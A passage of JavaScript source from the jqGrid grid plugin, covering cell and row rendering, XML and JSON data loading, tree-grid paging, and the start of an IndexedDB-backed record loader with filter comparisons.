cm.canvas_width; } cm._maxsize = Math.max( (!!$.jgrid.isFunction( cm.sizingStringFunc ) ? cm.sizingStringFunc.call(ts, v, grid_font, opts, rwdat) : $.jgrid.getTextWidth( v, grid_font ) ), cm._maxsize ); } return v; }, addCell = function(rowId,cell,pos,irow, srvr, rdata) { var v,prp; v = formatter(rowId,cell,pos,srvr,'add'); prp = formatCol( pos,irow, v, srvr, rowId, rdata); return "<td role=\"gridcell\" "+prp+">"+v+"</td>"; }, addMulti = function(rowid, pos, irow, checked, uiclass, srvr){ var rowSelectTitle=$.jgrid.getRegional(ts, "defaults.selectLine"); rowSelectTitle=rowSelectTitle ? rowSelectTitle : $.jgrid.regional['en'].defaults.selectLine; var v = "<input role=\"checkbox\" title='"+rowSelectTitle+"' type=\"checkbox\""+" id=\"jqg_"+ts.p.id+"_"+rowid+"\" "+uiclass+" name=\"jqg_"+ts.p.id+"_"+rowid+"\"" + (checked ? "checked=\"checked\"" : "")+"/>", cm = ts.p.colModel[pos]; if(cm.formatter !== undefined && $.jgrid.isFunction( cm.formatter )) { v = cm.formatter.call(ts,v,{rowId: rowid, colModel:cm, gid:ts.p.id, pos:pos, styleUI: ts.p.styleUI },srvr,'add'); } var prp = formatCol( pos,irow, v, srvr, rowid, true); return "<td role=\"gridcell\" "+prp+">"+v+"</td>"; }, addRowNum = function (pos, irow, pG, rN, uiclass ) { var v = (parseInt(pG,10)-1)*parseInt(rN,10)+1+irow, prp = formatCol( pos,irow,v, null, irow, true); return "<td role=\"gridcell\" "+uiclass+" "+prp+">"+v+"</td>"; }, addSearch = function(rowid, pos, irow, uiclass){ var searchColEvent = ts.p.searchColOptions.searchOnEnter ? " onchange=\"$.jgrid.searchColOnEnter('"+ts.p.id+"',"+rowid+", this)\"" : " onkeydown=\"$.jgrid.searchColOnKey('"+ts.p.id+"',"+rowid+",this, event)\""; var v = "<input type=\"text\""+" id=\"jqs_"+ts.p.id+"_"+rowid+"\" name=\"jqs_"+ts.p.id+"_"+rowid+"\" "+uiclass+ searchColEvent +"/>", prp = formatCol( pos,irow,'',null, rowid, true); return "<td role=\"gridcell\" "+prp+">"+v+"</td>"; }, reader = function (datatype) { var field, f=[], j=0, i; for(i =0; i<ts.p.colModel.length; i++){ field = ts.p.colModel[i]; if (field.name !== 'cb' && field.name !=='subgrid' && field.name !=='rn' && field.name !=='sc') { f[j]= datatype === "local" ? field.name : ( (datatype==="xml" || datatype === "xmlstring") ? field.xmlmap || field.name : field.jsonmap || field.name ); if(ts.p.keyName !== false && field.key===true ) { ts.p.keyName = f[j]; ts.p.keyIndex = j; } j++; } } return f; }, orderedCols = function (offset) { var order = ts.p.remapColumns; if (!order || !order.length) { order = $.map(ts.p.colModel, function(v,i) { return i; }); } if (offset) { order = $.map(order, function(v) { return v<offset?null:v-offset; }); } return order; }, emptyRows = function (scroll, locdata) { var firstrow; if (this.p.deepempty) { $(this.rows).slice(1).remove(); } else { firstrow = this.rows.length > 0 ? this.rows[0] : null; $(this.firstChild).empty().append(firstrow); } if (scroll && this.p.scroll) { $(this.grid.bDiv.firstChild).css({height: "auto"}); $(this.grid.bDiv.firstChild.firstChild).css({height: "0px", display: "none"}); if (this.grid.bDiv.scrollTop !== 0) { this.grid.bDiv.scrollTop = 0; } } if(locdata === true ) { //&& this.p.treeGrid && !this.p.loadonce ) { this.p.data = []; this.p._index = {}; } }, normalizeData = function() { var p = ts.p, data = p.data, dataLength = data.length, i, j, cur, idn, idr, ccur, v, rd, localReader = p.localReader, colModel = p.colModel, cellName = localReader.cell, iOffset = (p.multiselect === true ? 1 : 0) + (p.subGrid === true ? 1 : 0) + (p.rownumbers === true ? 1 : 0) + (p.searchCols === true ? 1 : 0), br = p.scroll ? $.jgrid.randId() : 1, arrayReader, objectReader, rowReader; if (p.datatype !== "local" || localReader.repeatitems !== true) { return; // nothing to do } arrayReader = orderedCols(iOffset); objectReader = reader("local"); // read ALL input items and convert items to be read by // $.jgrid.getAccessor with column name as the second parameter idn = p.keyName === false ? ($.jgrid.isFunction(localReader.id) ? localReader.id.call(ts, data) : localReader.id) : p.keyName; for (i = 0; i < dataLength; i++) { cur = data[i]; // read id in the same way like addJSONData do // probably it would be better to start with "if (cellName) {...}" // but the goal of the current implementation was just have THE SAME // id values like in addJSONData ... idr = $.jgrid.getAccessor(cur, idn); if (idr === undefined) { if (typeof idn === "number" && !$.jgrid.isNull( colModel[idn + iOffset]) ) { // reread id by name idr = $.jgrid.getAccessor(cur, colModel[idn + iOffset].name); } if (idr === undefined) { idr = br + i; if (cellName) { ccur = $.jgrid.getAccessor(cur, cellName) || cur; idr = !$.jgrid.isNull(ccur) && ccur[idn] !== undefined ? ccur[idn] : idr; ccur = null; } } } rd = { }; rd[localReader.id] = idr; if (cellName) { cur = $.jgrid.getAccessor(cur, cellName) || cur; } rowReader = Array.isArray(cur) ? arrayReader : objectReader; for (j = 0; j < rowReader.length; j++) { v = $.jgrid.getAccessor(cur, rowReader[j]); rd[colModel[j + iOffset].name] = v; } data[i] = rd; //$.extend(true, data[i], rd); } }, refreshIndex = function() { var datalen = ts.p.data.length, idname, i, val; idname = ts.p.keyName !== false ? ts.p.keyName : idname = ts.p.localReader.id; ts.p._index = {}; for(i =0;i < datalen; i++) { val = $.jgrid.getAccessor(ts.p.data[i],idname); if (val === undefined) { val=String(i+1); } ts.p._index[val] = i; } }, constructTr = function(id, hide, classes, rd, cur ) { var tabindex = '-1', restAttr = '', attrName, style = hide ? 'display:none;' : '', //classes = getstyle(stylemodule, 'rowBox', true) + ts.p.direction + (altClass ? ' ' + altClass : '') + (selected ? ' ' + highlight : ''), rowAttrObj = $(ts).triggerHandler("jqGridRowAttr", [rd, cur, id]); if( typeof rowAttrObj !== "object" ) { rowAttrObj = $.jgrid.isFunction(ts.p.rowattr) ? ts.p.rowattr.call(ts, rd, cur, id) : (typeof ts.p.rowattr === "string" && !$.jgrid.isNull($.jgrid.rowattr) && $.jgrid.isFunction($.jgrid.rowattr[ts.p.rowattr]) ? $.jgrid.rowattr[ts.p.rowattr].call(ts, rd, cur, id) : {}); } if(!$.isEmptyObject( rowAttrObj )) { if (rowAttrObj.hasOwnProperty("id")) { id = rowAttrObj.id; delete rowAttrObj.id; } if (rowAttrObj.hasOwnProperty("tabindex")) { tabindex = rowAttrObj.tabindex; delete rowAttrObj.tabindex; } if (rowAttrObj.hasOwnProperty("style")) { style += rowAttrObj.style; delete rowAttrObj.style; } if (rowAttrObj.hasOwnProperty("class")) { classes += ' ' + rowAttrObj['class']; delete rowAttrObj['class']; } // dot't allow to change role attribute try { delete rowAttrObj.role; } catch(ra){} for (attrName in rowAttrObj) { if (rowAttrObj.hasOwnProperty(attrName)) { restAttr += ' ' + attrName + '=' + rowAttrObj[attrName]; } } } return '<tr role="row" id="' + id + '" tabindex="' + tabindex + '" class="' + classes + '"' + (style === '' ? '' : ' style="' + style + '"') + restAttr + '>'; }, //bvn13 treeGrid_beforeRequest = function() { if (ts.p.treeGrid && ts.p.treeGrid_bigData) { if ( ts.p.postData.nodeid !== undefined && typeof(ts.p.postData.nodeid) === 'string' && ( ts.p.postData.nodeid !== "" || parseInt(ts.p.postData.nodeid,10) > 0 ) ) { ts.p.postData.rows = 10000; ts.p.postData.page = 1; ts.p.treeGrid_rootParams.otherData.nodeid = ts.p.postData.nodeid; } } }, treeGrid_afterLoadComplete = function() { if (ts.p.treeGrid && ts.p.treeGrid_bigData) { if ( ts.p.treeGrid_rootParams.otherData.nodeid !== undefined && typeof(ts.p.treeGrid_rootParams.otherData.nodeid) === 'string' && ( ts.p.treeGrid_rootParams.otherData.nodeid !== "" || parseInt(ts.p.treeGrid_rootParams.otherData.nodeid,10) > 0 ) ) { if ( ts.p.treeGrid_rootParams !== undefined && !$.jgrid.isNull(ts.p.treeGrid_rootParams) ) { ts.p.page = ts.p.treeGrid_rootParams.page; ts.p.lastpage = ts.p.treeGrid_rootParams.lastpage; ts.p.postData.rows = ts.p.treeGrid_rootParams.postData.rows; ts.p.postData.totalrows = ts.p.treeGrid_rootParams.postData.totalrows; ts.p.treeGrid_rootParams.otherData.nodeid = ""; ts.updatepager(false,true); } } else { ts.p.treeGrid_rootParams = { page : ts.p.page, lastpage : ts.p.lastpage, postData : { rows: ts.p.postData.rows, totalrows: ts.p.postData.totalrows }, rowNum : ts.p.rowNum, rowTotal : ts.p.rowTotal, otherData : { nodeid : "" } }; } } }, //-bvn13 addXmlData = function (xml, rcnt, more, adjust) { var startReq = new Date(), locdata = (ts.p.datatype !== "local" && ts.p.loadonce) || ts.p.datatype === "xmlstring", xmlid = "_id_", xmlRd = ts.p.xmlReader, treeadjtmp =[], frd = ts.p.datatype === "local" ? "local" : "xml"; if(locdata) { ts.p.data = []; ts.p._index = {}; ts.p.localReader.id = xmlid; } ts.p.reccount = 0; if($.isXMLDoc(xml)) { if(ts.p.treeANode===-1 && !ts.p.scroll) { emptyRows.call(ts, false, false); rcnt=1; } else { rcnt = rcnt > 1 ? rcnt :1; } } else { return; } var self= $(ts), i,fpos,ir=0,v,si=0,addSubGridCell,idn, getId,f=[],F,rd ={}, xmlr,rid, rowData=[], classes = getstyle(stylemodule, 'rowBox', true, 'jqgrow ui-row-'+ ts.p.direction), ni=ts.p.rownumbers===true ? 1 : 0, gi=ts.p.multiselect===true ? 1 : 0, sc = ts.p.searchCols ===true ? 1 : 0; if(ts.p.subGrid===true) { si = 1; addSubGridCell = $.jgrid.getMethod("addSubGridCell"); } if(!xmlRd.repeatitems) {f = reader(frd);} if( ts.p.keyName===false) { idn = $.jgrid.isFunction( xmlRd.id ) ? xmlRd.id.call(ts, xml) : xmlRd.id; } else { idn = ts.p.keyName; } if(xmlRd.repeatitems && ts.p.keyName && isNaN(idn)) { idn = ts.p.keyIndex; } if( String(idn).indexOf("[") === -1 ) { if (f.length) { getId = function( trow, k) {return $(idn,trow).text() || k;}; } else { getId = function( trow, k) {return $(xmlRd.cell,trow).eq(idn).text() || k;}; } } else { getId = function( trow, k) {return trow.getAttribute(idn.replace(/[\[\]]/g,"")) || k;}; } ts.p.userData = {}; ts.p.page = intNum($.jgrid.getXmlData(xml, xmlRd.page), ts.p.page); ts.p.lastpage = intNum($.jgrid.getXmlData(xml, xmlRd.total), 1); ts.p.records = intNum($.jgrid.getXmlData(xml, xmlRd.records)); if($.jgrid.isFunction(xmlRd.userdata)) { ts.p.userData = xmlRd.userdata.call(ts, xml) || {}; } else { $.jgrid.getXmlData(xml, xmlRd.userdata, true).each(function() {ts.p.userData[this.getAttribute("name")]= $(this).text();}); } var gxml = $.jgrid.getXmlData( xml, xmlRd.root, true); gxml = $.jgrid.getXmlData( gxml, xmlRd.row, true); if (!gxml) { gxml = []; } var gl = gxml.length, j=0, grpdata=[], rn = parseInt(ts.p.rowNum,10), br=ts.p.scroll?$.jgrid.randId():1, tablebody = $(ts).find("tbody").first(), hiderow=false, groupingPrepare, selr; if(ts.p.grouping) { hiderow = ts.p.groupingView.groupCollapse === true; groupingPrepare = $.jgrid.getMethod("groupingPrepare"); } if (gl > 0 && ts.p.page <= 0) { ts.p.page = 1; } if(gxml && gl){ if (adjust) { rn *= adjust+1; } var afterInsRow = $.jgrid.isFunction(ts.p.afterInsertRow), rnc = ni ? getstyle(stylemodule, 'rownumBox', false, 'jqgrid-rownum') :"", scc = sc ? getstyle(stylemodule, 'searchBox', false, '') :"", mlc = gi ? getstyle(stylemodule, 'multiBox', false, 'cbox'):""; while (j<gl) { xmlr = gxml[j]; rid = getId(xmlr,br+j); rid = ts.p.idPrefix + rid; if( ts.p.preserveSelection) { if( ts.p.multiselect) { selr = ts.p.selarrrow.indexOf( rid ) !== -1; spsh = selr ? spsh+1: spsh; } else { selr = (rid === ts.p.selrow); } } var iStartTrTag = rowData.length; rowData.push(""); if( ni ) { rowData.push( addRowNum(0, j, ts.p.page, ts.p.rowNum, rnc ) ); } if( gi ) { rowData.push( addMulti(rid, ni, j + 1, selr, mlc, xmlr) ); } if( sc ){ rowData.push( addSearch(rid, gi+ni, j + 1, scc) ); } if( si ) { rowData.push( addSubGridCell.call(self, gi+ni+sc, j + 1) ); } if(xmlRd.repeatitems){ if (!F) { F=orderedCols(gi+si+ni+sc); } var cells = $.jgrid.getXmlData( xmlr, xmlRd.cell, true); $.each(F, function (k) { var cell = cells[this]; if (!cell) { return false; } v = cell.textContent || cell.text || ""; rd[ts.p.colModel[k+gi+si+ni+sc].name] = v; rowData.push( addCell(rid,v,k+gi+si+ni+sc,j+rcnt,xmlr, rd) ); }); } else { for(i = 0; i < f.length;i++) { v = $.jgrid.getXmlData( xmlr, f[i]); rd[ts.p.colModel[i+gi+si+ni+sc].name] = v; rowData.push( addCell(rid, v, i+gi+si+ni+sc, j+rcnt, xmlr, rd) ); } } rowData[iStartTrTag] = constructTr(rid, hiderow, classes, rd, xmlr); rowData.push("</tr>"); if(ts.p.grouping) { grpdata.push( rowData ); if(!ts.p.groupingView._locgr) { groupingPrepare.call(self , rd, j ); } rowData = []; } if(locdata || (ts.p.treeGrid === true && !(ts.p._ald)) ) { rd[xmlid] = $.jgrid.stripPref(ts.p.idPrefix, rid); ts.p.data.push(rd); ts.p._index[rd[xmlid]] = ts.p.data.length-1; if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { treeadjtmp.push(rd); } } if(ts.p.gridview === false ) { tablebody.append(rowData.join('')); self.triggerHandler("jqGridAfterInsertRow", [rid, rd, xmlr]); if(afterInsRow) {ts.p.afterInsertRow.call(ts,rid,rd,xmlr);} rowData=[]; } rd={}; ir++; j++; if(ir===rn) {break;} } } spsh = ir > 0 && ts.p.multiselect && ts.p.preserveSelection && ir === spsh ; if(ts.p.gridview === true) { fpos = ts.p.treeANode > -1 ? ts.p.treeANode: 0; if(ts.p.grouping) { if(!locdata) { self.jqGrid('groupingRender',grpdata,ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } else if(ts.p.treeGrid === true && fpos > 0) { $(ts.rows[fpos]).after(rowData.join('')); } else { //$("tbody:first",t).append(rowData.join('')); tablebody.append(rowData.join('')); ts.grid.cols = ts.rows[0].cells; // update cached first row } } ts.p.totaltime = new Date() - startReq; rowData =null; if(ir>0) { if(ts.p.records===0) { ts.p.records=gl;} } if( ts.p.treeGrid === true) { try {self.jqGrid("setTreeNode", fpos+1, ir+fpos+1);} catch (e) {} if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { v = ts.rows[ts.p.treeANode].id; v = ts.p._index[v]+1; if( v >= 1) { ts.p.data.splice(-(gl), gl); for(i=0; i < gl; i++) { ts.p.data.splice(v + i,0,treeadjtmp[i]); } refreshIndex(); } } } //if(!ts.p.treeGrid && !ts.p.scroll) {ts.grid.bDiv.scrollTop = 0;} ts.p.reccount=ir; ts.p.treeANode = -1; if(ts.p.userDataOnFooter) { self.jqGrid("footerData", "set", ts.p.userData, ts.p.formatFooterData, 0, false); } if(ts.p.userDataOnHeader) { self.jqGrid("headerData", "set", ts.p.userData, ts.p.formatHeaderData, 0, false); } if(locdata) { ts.p.records = gl; ts.p.lastpage = Math.ceil(gl/ rn); } if (!more) { ts.updatepager(false,true); } if(spsh) { setHeadCheckBox( true ); } if(locdata) { while (ir<gl) { xmlr = gxml[ir]; rid = getId(xmlr,ir+br); rid = ts.p.idPrefix + rid; if(xmlRd.repeatitems){ if (!F) { F=orderedCols(gi+si+ni+sc); } var cells2 = $.jgrid.getXmlData( xmlr, xmlRd.cell, true); $.each(F, function (k) { var cell = cells2[this]; if (!cell) { return false; } v = cell.textContent || cell.text || ""; rd[ts.p.colModel[k+gi+si+ni+sc].name] = v; }); } else { for(i = 0; i < f.length;i++) { v = $.jgrid.getXmlData( xmlr, f[i]); rd[ts.p.colModel[i+gi+si+ni+sc].name] = v; } } rd[xmlid] = $.jgrid.stripPref(ts.p.idPrefix, rid); if( ts.p.grouping ) { groupingPrepare.call(self, rd, ir ); } ts.p.data.push(rd); ts.p._index[rd[xmlid]] = ts.p.data.length-1; rd = {}; ir++; } if(ts.p.grouping) { ts.p.groupingView._locgr = true; self.jqGrid('groupingRender', grpdata, ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } if(ts.p.subGrid === true ) { try {self.jqGrid("addSubGrid",gi+ni);} catch (_){} } }, addJSONData = function(data, rcnt, more, adjust) { var startReq = new Date(); if(data) { if(ts.p.treeANode === -1 && !ts.p.scroll) { emptyRows.call(ts, false, false); rcnt=1; } else { rcnt = rcnt > 1 ? rcnt :1; } } else { return; } var dReader, frd; if(ts.p.datatype === "local") { dReader = ts.p.localReader; frd= 'local'; } else { dReader = ts.p.jsonReader; frd='json'; } var locid = "_id_", locdata = (ts.p.datatype !== "local" && ts.p.loadonce) || ts.p.datatype === "jsonstring", self = $(ts), ir=0,v,i,j,f=[],cur, addSubGridCell, gi = ts.p.multiselect ? 1 : 0, si = ts.p.subGrid ===true ? 1 : 0, ni = ts.p.rownumbers ===true ? 1 : 0, sc = ts.p.searchCols ===true ? 1 : 0, br = (ts.p.scroll && ts.p.datatype !== 'local') ? $.jgrid.randId() : 1, rn = parseInt(ts.p.rowNum,10), selected=false, selr, arrayReader=orderedCols(gi+si+ni+sc), objectReader=reader(frd), rowReader,len,drows,idn,rd={}, fpos, idr,rowData=[], treeadjtmp =[], classes = getstyle(stylemodule, 'rowBox', true, 'jqgrow ui-row-'+ ts.p.direction), afterInsRow = $.jgrid.isFunction(ts.p.afterInsertRow), grpdata=[],hiderow=false, groupingPrepare, tablebody = $(ts).find("tbody").first(), rnc = ni ? getstyle(stylemodule, 'rownumBox', false, 'jqgrid-rownum') :"", scc = sc ? getstyle(stylemodule, 'searchBox', false, '') :"", mlc = gi ? getstyle(stylemodule, 'multiBox', false, 'cbox'):""; if(locdata) { ts.p.data = []; ts.p._index = {}; ts.p.localReader.id = locid; } ts.p.reccount = 0; ts.p.page = intNum($.jgrid.getAccessor(data,dReader.page), ts.p.page); ts.p.lastpage = intNum($.jgrid.getAccessor(data,dReader.total), 1); ts.p.records = intNum($.jgrid.getAccessor(data,dReader.records)); ts.p.userData = $.jgrid.getAccessor(data,dReader.userdata) || {}; if(si) { addSubGridCell = $.jgrid.getMethod("addSubGridCell"); } if( ts.p.keyName===false ) { idn = $.jgrid.isFunction(dReader.id) ? dReader.id.call(ts, data) : dReader.id; } else { idn = ts.p.keyName; } if(dReader.repeatitems && ts.p.keyName && isNaN(idn)) { idn = ts.p.keyIndex; } drows = $.jgrid.getAccessor(data,dReader.root); if ( $.jgrid.isNull(drows) && Array.isArray(data)) { drows = data; } if (!drows) { drows = []; } len = drows.length; i = 0; if (len > 0 && ts.p.page <= 0) { ts.p.page = 1; } if (adjust) { rn *= adjust+1; } if(ts.p.datatype === "local" && !ts.p.deselectAfterSort) { selected = true; } if(ts.p.grouping) { hiderow = ts.p.groupingView.groupCollapse === true; groupingPrepare = $.jgrid.getMethod("groupingPrepare"); } while (i<len) { cur = drows[i]; idr = $.jgrid.getAccessor(cur,idn); if(idr === undefined) { if (typeof idn === "number" && !$.jgrid.isNull( ts.p.colModel[idn+gi+si+ni+sc]) ) { // reread id by name idr = $.jgrid.getAccessor(cur,ts.p.colModel[idn+gi+si+ni+sc].name); } if(idr === undefined) { idr = br+i; if(f.length===0){ if(dReader.cell){ var ccur = $.jgrid.getAccessor(cur,dReader.cell) || cur; idr = !$.jgrid.isNull(ccur) && ccur[idn] !== undefined ? ccur[idn] : idr; ccur=null; } } } } idr = ts.p.idPrefix + idr; if( selected || ts.p.preserveSelection) { if( ts.p.multiselect) { selr = ts.p.selarrrow.indexOf( idr ) !== -1; spsh = selr ? spsh+1: spsh; } else { selr = (idr === ts.p.selrow); } } var iStartTrTag = rowData.length; rowData.push(""); if( ni ) { rowData.push( addRowNum(0, i, ts.p.page, ts.p.rowNum, rnc ) ); } if( gi ){ rowData.push( addMulti(idr, ni, i + 1, selr, mlc, cur) ); } if( sc ){ rowData.push( addSearch(idr, gi+ni, i + 1, scc) ); } if( si ) { rowData.push( addSubGridCell.call(self ,gi+ni+sc,i + 1) ); } rowReader=objectReader; if (dReader.repeatitems) { if(dReader.cell) {cur = $.jgrid.getAccessor(cur,dReader.cell) || cur;} if (Array.isArray(cur)) { rowReader=arrayReader; } } for (j=0;j<rowReader.length;j++) { v = $.jgrid.getAccessor(cur,rowReader[j]); rd[ts.p.colModel[j+gi+si+ni+sc].name] = v; rowData.push( addCell(idr,v,j+gi+si+ni+sc,i+rcnt,cur, rd) ); } rowData[iStartTrTag] = constructTr(idr, hiderow, (selr ? classes + ' ' + highlight : classes), rd, cur); rowData.push( "</tr>" ); if(ts.p.grouping) { grpdata.push( rowData ); if(!ts.p.groupingView._locgr) { groupingPrepare.call(self , rd, i); } rowData = []; } if(locdata || (ts.p.treeGrid===true && !(ts.p._ald))) { rd[locid] = $.jgrid.stripPref(ts.p.idPrefix, idr); ts.p.data.push(rd); ts.p._index[rd[locid]] = ts.p.data.length-1; if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { treeadjtmp.push(rd); } } if(ts.p.gridview === false ) { tablebody.append(rowData.join('')); self.triggerHandler("jqGridAfterInsertRow", [idr, rd, cur]); if(afterInsRow) {ts.p.afterInsertRow.call(ts,idr,rd,cur);} rowData=[];//ari=0; } rd={}; ir++; i++; if(ir===rn) { break; } } spsh = ir > 0 && ts.p.multiselect && (ts.p.preserveSelection || selected) && ir === spsh; if(ts.p.gridview === true ) { fpos = ts.p.treeANode > -1 ? ts.p.treeANode: 0; if(ts.p.grouping) { if(!locdata) { self.jqGrid('groupingRender', grpdata, ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } else if(ts.p.treeGrid === true && fpos > 0) { $(ts.rows[fpos]).after(rowData.join('')); } else { tablebody.append(rowData.join('')); ts.grid.cols = ts.rows[0].cells; } } ts.p.totaltime = new Date() - startReq; rowData = null; if(ir>0) { if(ts.p.records===0) { ts.p.records=len; } } if( ts.p.treeGrid === true) { try {self.jqGrid("setTreeNode", fpos+1, ir+fpos+1);} catch (e) {} if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { v = ts.rows[ts.p.treeANode].id; v = ts.p._index[v]+1; if( v >= 1) { ts.p.data.splice(-(len), len); for(i=0; i < len; i++) { ts.p.data.splice(v + i,0,treeadjtmp[i]); } refreshIndex(); } } } //if(!ts.p.treeGrid && !ts.p.scroll) {ts.grid.bDiv.scrollTop = 0;} ts.p.reccount=ir; ts.p.treeANode = -1; if(ts.p.userDataOnFooter) { self.jqGrid("footerData", "set", ts.p.userData, ts.p.formatFooterData, 0, false); } if(ts.p.userDataOnHeader) { self.jqGrid("headerData", "set", ts.p.userData, ts.p.formatHeaderData, 0, false); } if(locdata) { ts.p.records = len; ts.p.lastpage = Math.ceil(len/ rn); } if (!more) { ts.updatepager(false,true); } if(spsh) { setHeadCheckBox( true ); } if(locdata) { while (ir<len && drows[ir]) { cur = drows[ir]; idr = $.jgrid.getAccessor(cur,idn); if(idr === undefined) { if (typeof idn === "number" && !$.jgrid.isNull(ts.p.colModel[idn+gi+si+ni+sc])) { // reread id by name idr = $.jgrid.getAccessor(cur,ts.p.colModel[idn+gi+si+ni+sc].name); } if(idr === undefined) { idr = br+ir; if(f.length===0){ if(dReader.cell){ var ccur2 = $.jgrid.getAccessor(cur,dReader.cell) || cur; idr = !$.jgrid.isNull(ccur2) && ccur2[idn] !== undefined ? ccur2[idn] : idr; ccur2=null; } } } } if(cur) { idr = ts.p.idPrefix + idr; rowReader=objectReader; if (dReader.repeatitems) { if(dReader.cell) {cur = $.jgrid.getAccessor(cur,dReader.cell) || cur;} if (Array.isArray(cur)) { rowReader=arrayReader; } } for (j=0;j<rowReader.length;j++) { rd[ts.p.colModel[j+gi+si+ni+sc].name] = $.jgrid.getAccessor(cur,rowReader[j]); } rd[locid] = $.jgrid.stripPref(ts.p.idPrefix, idr); if(ts.p.grouping) { groupingPrepare.call(self, rd, ir ); } ts.p.data.push(rd); ts.p._index[rd[locid]] = ts.p.data.length-1; rd = {}; } ir++; } if(ts.p.grouping) { ts.p.groupingView._locgr = true; self.jqGrid('groupingRender', grpdata, ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } if(ts.p.subGrid === true ) { try { self.jqGrid("addSubGrid",gi+ni+sc);} catch (_){} } }, addIndexedDBData = async function ( retAll ) { return new Promise(function(resolve, reject){ let INDEX_NAME = ts.p.sortname, ORDER = ts.p.sortorder.toLowerCase(), recordsperpage = parseInt(ts.p.rowNum,10), total=0, totalpages, page = parseInt(ts.p.page,10), srules, everyORsome = 'every', range = null; const _usecase = ts.p.ignoreCase; if(retAll) { page = 1; recordsperpage = 1000000; } if(!INDEX_NAME) { INDEX_NAME = ts.p.sortname = ts.p.colModel[0].index || ts.p.colModel[0].name; } if (ts.p.search === true) { srules = ts.p.postData.filters; if(srules) { if(typeof srules === "string") { srules = $.jgrid.parse(srules);} if(srules.groupOp === "OR") { everyORsome = 'some'; } srules.rules.map(el=>{ if(_usecase) { el.data = el.data.toLowerCase(); } el.type = 'text'; let col = $(ts).jqGrid('getColProp', el.field); let type = col.sorttype || col.stype; let conv = !(el.op === 'bt' || el.op === 'in' || el.op === 'ni'); switch(type) { case 'int': case 'integer': if(conv) { el.data = parseInt(el.data,10); } el.type='num'; break; case 'float': case 'number': case 'numeric': if(conv) { el.data = parseFloat(el.data); } el.type='num'; break; } }); } } var compareFnMap = { 'eq': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) === queryObj.data;}, 'ne': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) !== queryObj.data;}, 'lt': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) < queryObj.data;}, 'le': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) <= queryObj.data;}, 'gt': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) > queryObj.data;}, 'ge': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) >= queryObj.data;}, 'bw': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).indexOf(queryObj.data) === 0;}, 'bn': function(queryObj, data, _uselwcs) { return !((_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).indexOf(queryObj.data) === 0);}, 'ew': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).endsWith(queryObj.data);}, 'en': function(queryObj, data, _uselwcs) { return !((_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).endsWith(queryObj.data));}, 'cn': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).indexOf(queryObj.data) > -1;}, 'nc': function(queryObj, data, _uselwcs) { return !((_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field])) > -1;}, 'in': function(queryObj, data, _uselwcs) { return queryObj.data.split(",").map(el=>{return (_uselwcs ? el.trim().toLowerCase() : el.trim());}).indexOf(data[queryObj.field]) > -1;}, 'ni': function(queryObj, data, _uselwcs) { return queryObj.data.split(",").map(el=>{return (_uselwcs ? el.trim().toLowerCase() : el.trim());}).indexOf(data[queryObj.field].trim()) === -1;}, 'nu': function(queryObj, data, _uselwcs) { return data[queryObj.field] === null;}, 'nn': function(queryObj, data, _uselwcs) { return data[queryObj.field] !== null;}, 'bt': function(queryObj, data, _uselwcs) { let minmax = queryObj.data.split("...").map(el=>{return queryObj.type === "num" ? el - 0 : el.trim();}); try { let r = _uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]; return r >= minmax[0] && r <= minmax[1]; } catch(e) { return false; } } }; const connection = window.indexedDB.open(ts.p.dbconfig.dbname); connection.onsuccess = function( e ) { const db = connection.result; const transaction = db.transaction(ts.p.dbconfig.dbtable, 'readonly'); let retresult ={}; retresult[ts.p.localReader.root] =[]; transaction.oncomplete = function(event) { if(ORDER === 'desc' || ts.p.grouping) { // we need here multi sorting too retresult[ts.p.localReader.root].sort(function(a,b){ var low=[], high=[]; if(ts.p.grouping) { for(let j =0;j<ts.p.groupingView.groupField.length; j++) { if(ts.p.groupingView.groupOrder[j] === 'asc') { low.push(a[ts.p.groupingView.groupField[j]]); high.push(b[ts.p.groupingView.groupField[j]]); } else { low.push(b[ts.p.groupingView.groupField[j]]); high.push(a[ts.p.groupingView.groupField[j]]); } } if(ORDER === 'asc') { low.push(a[INDEX_NAME]); high.push(b[INDEX_NAME]); } else { low.push(b[INDEX_NAME]); high.push(a[INDEX_NAME]); } } else { low = [b[INDEX_NAME]]; high = [a[INDEX_NAME]]; } return indexedDB.cmp(low,high); }); } retresult[ts.p.localReader.root]= retresult[ts.p.localReader.root].slice( (page-1)*recordsperpage , page*recordsperpage ); totalpages = Math.ceil(total / recordsperpage); retresult[ts.p.localReader.total] = totalpages; retresult[ts.p.localReader.page] = page; retresult[ts.p.localReader.records] = total; retresult[ts.p.localReader.userdata] = ts.p.userData; resolve(retresult); }; transaction.onerror = function(event) { endReq(); reject(event.target); //console.log(event.target); }; const store = transaction.objectStore(ts.p.dbconfig.dbtable); const index = store.index( INDEX_NAME ); index.count(range).onsuccess = (e) => { //console.log(e); if(ts.p.search && srules.rules.length) { total = 0; } else { total = e.target.result; } }; var limit = Math.pow(2,32) - 1; if(ts.p.search === false && ORDER === 'asc' && !ts.p.grouping) { limit = page*recordsperpage; } var res = index.getAll(range, limit); res.onsuccess = event => { if(ts.p.search === true && 